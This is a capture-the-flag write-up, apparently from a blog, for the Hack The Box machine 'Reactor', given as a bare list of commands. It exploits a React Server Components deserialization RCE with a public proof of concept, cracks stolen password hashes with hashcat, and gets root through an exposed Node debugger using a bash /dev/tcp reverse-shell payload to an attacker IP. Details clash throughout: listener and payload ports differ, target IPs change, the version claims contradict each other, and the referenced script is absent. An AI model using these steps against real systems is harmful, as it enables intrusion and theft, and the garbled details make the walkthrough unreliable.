Reactor HTB Writeup


Command: nmap reactor.htb

Command: nmap -p22,3000 10.82.82.82 -sV

Command: whatweb http://reactor.htb

After the vulnerability (CVE-2025-55182) in node.js 15.0.3 is identified: –

CVE-2025-55182 DetailDescriptionA pre-authentication remote code execution vulnerability exists in React Server Components versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 including the following packages: react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack. The vulnerable code unsafely deserializes payloads from HTTP requests to Server Function endpoints.

We can get the poc from te following link: https://github.com/p3ta00/react2shell-poc/blob/master/, or you can use the following script:

Command: nano a.py and paste the above script.

Command: python3 a.py -t http://10.8.88.88:3000 –revshell –lhost 10.10.10.10 –lport 4444

Command: nc -lvnp 3333 and then check your listener

Command: ls

Command: python3 -m http.server

Command: curl http://10.80.80.80:6000/reactor.db -o tera.db

Command: sqlite3 reactor.db

Command: SELECT * FROM users;

Command: echo “89765789765789076543456789876567 > hash.txt, echo “98765432456789765435678765435678” >> hash.txt

Command: hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

Command: hashcat –show -m 0 hash.txt

Command: ssh engineer@10.85.85.85, when asked for password enter the following: re******1

Command: ls, cat user.txt

Root Flag

while doing reconnaissance, noticed the following:

Command: node inspect 127.0.0.1:9229

Command: nc -lvnp 5555

Command:exec(“process.mainModule.require(‘child_process’).execSync(‘bash -c -i >& /dev/tcp/10.20.20.20/5555 0>&1\”‘).toString()”)

Now you should have received shell, as below:

Command: cd root

Command: cat root.txt

Leave a Reply

Your email address will not be published. Required fields are marked *